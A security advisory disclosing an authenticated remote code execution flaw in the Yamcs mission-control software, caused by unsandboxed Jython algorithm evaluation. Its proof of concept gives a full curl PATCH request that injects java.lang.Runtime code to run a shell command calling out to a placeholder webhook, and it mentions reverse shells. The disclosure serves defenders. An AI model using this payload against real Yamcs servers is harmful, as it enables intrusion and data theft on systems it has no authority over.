Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code InjectionGHSA-2g95-6x5q-xjwj

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites:

1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included).
2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.
3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

   curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
        -H 'Content-Type: application/json' \
        -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
        -d '{
          "action": "SET",
          "algorithm": {
            "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
          }
        }'
   

   (Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

3. The Yamcs server compiles the injected text into an executable script on the fly.

4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.